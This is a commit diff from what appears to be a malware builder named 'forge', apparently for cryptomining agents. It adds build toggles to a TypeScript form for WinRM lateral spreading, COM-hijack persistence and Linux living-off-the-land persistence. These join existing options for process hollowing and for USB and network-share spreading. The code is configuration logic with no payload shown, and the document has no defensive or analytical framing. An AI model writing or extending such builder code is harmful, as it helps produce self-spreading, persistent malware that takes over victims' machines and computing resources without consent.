Add forge spread toggles for WinRM and Linux LOTL
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -76,6 +76,9 @@ export function spreadKitPreset(): Partial<BuildRequest> {
|
||||
auto_spread: false,
|
||||
usb_spread: false,
|
||||
share_spread: false,
|
||||
winrm_spread: false,
|
||||
com_hijack_persist: false,
|
||||
linux_lotl_mode: 'off',
|
||||
};
|
||||
}
|
||||
|
||||
@@ -137,6 +140,15 @@ export function normalizeForgeForm(form: BuildRequest): BuildRequest {
|
||||
// Process hollowing — Windows workers only
|
||||
if (isSingleUnixTarget(next.target_os)) {
|
||||
next.process_hollowing = false;
|
||||
next.winrm_spread = false;
|
||||
next.com_hijack_persist = false;
|
||||
}
|
||||
|
||||
// Linux LOTL persistence — Linux/universal workers only
|
||||
if (isWindowsOnlyTarget(next.target_os)) {
|
||||
next.linux_lotl_mode = 'off';
|
||||
} else if (!next.linux_lotl_mode || next.linux_lotl_mode === '') {
|
||||
next.linux_lotl_mode = 'off';
|
||||
}
|
||||
|
||||
// Install base matches target OS family
|
||||
|
||||
Reference in New Issue
Block a user